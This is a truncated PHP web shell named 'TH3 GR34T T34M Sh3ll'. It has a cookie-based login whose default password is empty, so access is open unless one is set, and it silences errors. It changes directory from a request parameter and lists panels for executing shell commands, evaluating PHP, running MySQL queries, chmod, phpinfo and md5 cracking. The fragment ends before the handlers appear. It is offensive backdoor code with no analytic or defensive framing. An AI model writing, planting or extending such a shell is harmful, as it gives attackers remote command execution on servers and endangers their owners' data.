error_reporting(0); //If there is an error, we'll show it, k?
$password = ""; // You can put a md5 string here too, for plaintext passwords: max 31 chars.
$me = basename(__FILE__);
$cookiename = "wieeeee";
if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh?
{
if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5.
{
$_POST['pass'] = md5($_POST['pass']);
}
if($_POST['pass'] == $password)
{
setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in
}
reload();
}
if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password))
{
login();
die();
}
//
//Do not cross this line! All code placed after this block can't be executed without being logged in!
//
if(isset($_GET['p']) && $_GET['p'] == "logout")
{
setcookie ($cookiename, "", time() - 3600);
reload();
}
if(isset($_GET['dir']))
{
chdir($_GET['dir']);
}
$pages = array(
'cmd' => 'Execute Command',
'eval' => 'Evaluate PHP',
'mysql' => 'MySQL Query',
'chmod' => 'Chmod File',
'phpinfo' => 'PHPinfo',
'md5' => 'md5 cracker',
'headers' => 'Show headers',
'logout' => 'Log out'
);
//The header, like it?
$header = '
'.getenv("HTTP_HOST").'-TH3 GR34T T34M Sh3ll